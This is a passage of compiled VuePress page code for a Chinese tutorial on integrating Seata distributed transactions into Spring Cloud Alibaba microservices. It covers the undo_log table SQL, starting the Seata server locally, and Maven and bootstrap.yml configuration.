number"}},[s._v("32")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("pk"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("36")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_create"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("PRIMARY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("row_key"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("idx_branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("ENGINE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("InnoDB")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DEFAULT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CHARSET")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" utf8"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br"),a("span",{staticClass:"line-number"},[s._v("46")]),a("br"),a("span",{staticClass:"line-number"},[s._v("47")]),a("br"),a("span",{staticClass:"line-number"},[s._v("48")]),a("br"),a("span",{staticClass:"line-number"},[s._v("49")]),a("br"),a("span",{staticClass:"line-number"},[s._v("50")]),a("br"),a("span",{staticClass:"line-number"},[s._v("51")]),a("br"),a("span",{staticClass:"line-number"},[s._v("52")]),a("br"),a("span",{staticClass:"line-number"},[s._v("53")]),a("br"),a("span",{staticClass:"line-number"},[s._v("54")]),a("br"),a("span",{staticClass:"line-number"},[s._v("55")]),a("br"),a("span",{staticClass:"line-number"},[s._v("56")]),a("br")])]),a("p",[s._v("这里,也将mysql.sql文件放在了项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下。")]),s._v(" "),a("p",[s._v("(10)启动Seata服务,进入在命令行进入Seata安装文件的"),a("code",[s._v("seata/seata-server-1.4.2/bin")]),s._v("目录,执行如下命令。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("seata-server.bat "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-p")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8091")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-h")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1 "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-m")]),s._v(" db\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,在启动Seata的命令行输出了如下信息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("i.s.core.rpc.netty.NettyServerBootstrap "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),s._v(" Server started, listen port: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8091")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明Seata已经启动成功。")]),s._v(" "),a("p",[s._v("至此,Seata的基础环境搭建完毕。")]),s._v(" "),a("h3",{attrs:{id:"项目整合seata"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#项目整合seata"}},[s._v("#")]),s._v(" 项目整合Seata")]),s._v(" "),a("p",[s._v("在我们开发的微服务程序中,订单微服务下单成功后会调用库存微服务扣减商品的库存信息,而用户微服务只提供了查询用户信息的接口。这里,我们在商品微服务和订单微服务中整合Seata。")]),s._v(" "),a("h3",{attrs:{id:"导入unlog表"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#导入unlog表"}},[s._v("#")]),s._v(" 导入unlog表")]),s._v(" "),a("p",[s._v("我们使用的是Seata的AT模式,需要我们在涉及到使用Seata解决分布式事务问题的每个业务库中创建一个Seata的undo_log数据表,Seata中本身提供了创建数据表的SQL文件,这些SQL文件位于Seata源码包下的"),a("code",[s._v("seata-1.4.2/script/client/at/db")]),s._v("目录中,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-011","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-011.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("这里,我们使用mysql.sql脚本。mysql.sql脚本的内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- for AT mode you must to init this sql for you business database. the seata server not need it.")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CREATE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TABLE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("IF")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("EXISTS")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("undo_log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'branch transaction id'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'global transaction id'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'undo_log context,such as serialization'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("rollback_info"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("LONGBLOB")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'rollback info'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("log_status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("INT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("11")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'0:normal status,1:defense status'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("log_created"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'create datetime'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("log_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'modify datetime'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("UNIQUE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("ux_undo_log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("ENGINE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("InnoDB")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("AUTO_INCREMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DEFAULT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CHARSET")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" utf8 "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'AT transaction mode undo table'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br")])]),a("p",[s._v("注意,这里要在shop数据库中执行mysql.sql脚本,同样的,我会将这里的mysql.sql文件放到项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下,并重命名为mysql_client.sql。")]),s._v(" "),a("h3",{attrs:{id:"商品微服务整合seata"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#商品微服务整合seata"}},[s._v("#")]),s._v(" 商品微服务整合Seata")]),s._v(" "),a("p",[s._v("(1)在商品微服务shop-product的pom.xml文件中引入Seata依赖,如下所示。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("com.alibaba.cloud"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("spring-cloud-starter-alibaba-seata"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("(2)修改商品微服务shop-product的bootstrap.yml,修改后的文件如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("product\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" product_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("discovery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("alibaba")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("seata")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("tx-service-group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.application.name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("tx_group\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("seata")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application-id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.application.name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("service")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("vgroup-mapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-product-tx_group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" default\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("registry")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.cloud.nacos.discovery.server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("addr"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key 